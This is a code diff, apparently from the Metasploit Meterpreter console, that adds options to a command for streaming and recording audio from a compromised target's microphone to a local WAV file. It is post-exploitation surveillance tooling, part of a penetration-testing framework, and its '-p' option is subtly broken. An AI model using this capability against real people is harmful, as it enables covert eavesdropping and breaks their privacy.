@@ -22,12 +22,30 @@ class Console::CommandDispatcher::Stdapi::Mic
22
22
# List of supported commands.
23
23
#
24
24
def commands
25
- {
26
- 'mic_start' => 'play an audio stream from the specified mic' ,
27
- 'mic_stop' => 'stop capturing audio from device ' ,
28
- 'mic_list' => 'list all audio interfaces' ,
29
- 'listen' => 'listen to audio via audio player'
25
+ all = {
26
+ 'mic_start' => 'start capturing an audio stream from the target mic' ,
27
+ 'mic_stop' => 'stop capturing audio' ,
28
+ 'mic_list' => 'list all microphone interfaces' ,
29
+ 'listen' => 'listen to streaming audio via audio player'
30
30
}
31
+ reqs = {
32
+ 'mic_start' => [ 'audio_mic_start' ] ,
33
+ 'mic_stop' => [ 'audio_mic_stop' ] ,
34
+ 'mic_list' => [ 'audio_mic_list' ] ,
35
+ 'listen' => [ 'audio_mic_start' ]
36
+ }
37
+
38
+ all . delete_if do |cmd , _desc |
39
+ del = false
40
+ reqs [ cmd ] . each do |req |
41
+ next if client . commands . include? req
42
+ del = true
43
+ break
44
+ end
45
+ del
46
+ end
47
+
48
+ all
31
49
end
32
50
33
51
#
@@ -72,54 +90,86 @@ def audio_file_wave_header(sample_rate_hz, num_channels, bits_per_sample, data_s
72
90
]
73
91
end
74
92
75
- def cmd_mic_start ( start_delay = 4096 )
76
- print_status ( "Streaming mic audio channel..." )
93
+ def cmd_mic_start ( *args )
94
+ start_delay = 8
95
+ device_id = 1
96
+ duration = 1800
97
+ play_stream = true
98
+ saved_audio_path = Rex ::Text . rand_text_alpha ( 8 ) + ".wav"
99
+
100
+ mic_start_opts = Rex ::Parser ::Arguments . new (
101
+ "-h" => [ false , "Help Banner" ] ,
102
+ "-d" => [ true , "The stream duration in seconds (Default: 1800)" ] , # 30 min
103
+ "-m" => [ true , "Microphone device index to record from (1: system default)" ] ,
104
+ "-p" => [ true , "Automatically start a player for the stream (Default: '#{ play_stream } ')" ] ,
105
+ "-s" => [ true , "The saved audio file path (Default: '#{ saved_audio_path } ')" ]
106
+ )
107
+
108
+ mic_start_opts . parse ( args ) do |opt , _idx , val |
109
+ case opt
110
+ when "-h"
111
+ print_line ( "Usage: mic_start [options]\n " )
112
+ print_line ( "Streams and records audio from the target microphone." )
113
+ print_line ( mic_start_opts . usage )
114
+ return
115
+ when "-d"
116
+ duration = val . to_i
117
+ when "-m"
118
+ device_id = val . to_i
119
+ when "-p"
120
+ play = false if val =~ /^(f|n|0)/i
121
+ when "-s"
122
+ saved_audio_path = val
123
+ end
124
+ end
77
125
78
- if client . mic . mic_list . length == 0
126
+ mic_list = client . mic . mic_list
127
+ if mic_list . length == 0
79
128
print_error ( "Target does not have a mic" )
80
129
return
81
130
end
131
+ if device_id < 1 || device_id > mic_list . length
132
+ print_error ( "Target does not have a mic with an id of #{ device_id } " )
133
+ return
134
+ end
82
135
83
- print_status ( "Starting..." )
84
- stream_path = Rex ::Text . rand_text_alpha ( 8 ) + ".wav"
85
- duration = 1800
86
- quality = 50
87
-
88
- print_status ( "Audio File: #{ stream_path } " )
89
- print_status ( "Streaming..." )
90
-
136
+ print_status ( "Saving to audio file: #{ saved_audio_path } " )
91
137
begin
92
- channel = client . mic . mic_start
138
+ channel = client . mic . mic_start ( device_id )
93
139
mic_started = true
140
+ print_status ( "Streaming started..." )
94
141
::Timeout . timeout ( duration ) do
95
- ::File . open ( stream_path , 'wb' ) do |outfd |
142
+ ::File . open ( saved_audio_path , 'wb' ) do |outfd |
96
143
audio_file_wave_header ( 11025 , 1 , 16 , 2000000000 ) . each { |e | e . write ( outfd ) }
97
144
end
98
145
stream_index = 0
99
146
while client do
100
- if stream_index == start_delay
101
- cmd_listen ( stream_path )
102
- end
103
147
Rex ::sleep ( 0.5 )
104
- #data = client.mic.mic_get_frame(quality)
105
148
data = channel . read ( 65536 )
106
149
if data
107
- ::File . open ( stream_path , 'a' ) do |f |
150
+ ::File . open ( saved_audio_path , 'a' ) do |f |
108
151
f . write ( data )
109
152
end
110
153
data = nil
154
+ stream_index += 1
155
+ if stream_index == start_delay
156
+ cmd_listen ( saved_audio_path )
157
+ end
111
158
end
112
- stream_index += 1
113
159
end
114
160
end
115
161
rescue ::Timeout ::Error
116
162
ensure
117
- client . mic . mic_stop if mic_started
163
+ if mic_started
164
+ client . mic . mic_stop
165
+ print_status ( "Streaming stopped." )
166
+ end
118
167
end
119
168
end
120
169
121
- def cmd_listen ( stream_path )
122
- Rex ::Compat . open_webrtc_browser ( "file://#{ ::File . absolute_path ( stream_path ) } " )
170
+ def cmd_listen ( saved_audio_path )
171
+ #Rex::Compat.open_webrtc_browser("file://#{::File.absolute_path(saved_audio_path)}")
172
+ Rex ::Compat . play_sound ( ::File . expand_path ( saved_audio_path ) )
123
173
end
124
174
125
175
def cmd_mic_stop
0 commit comments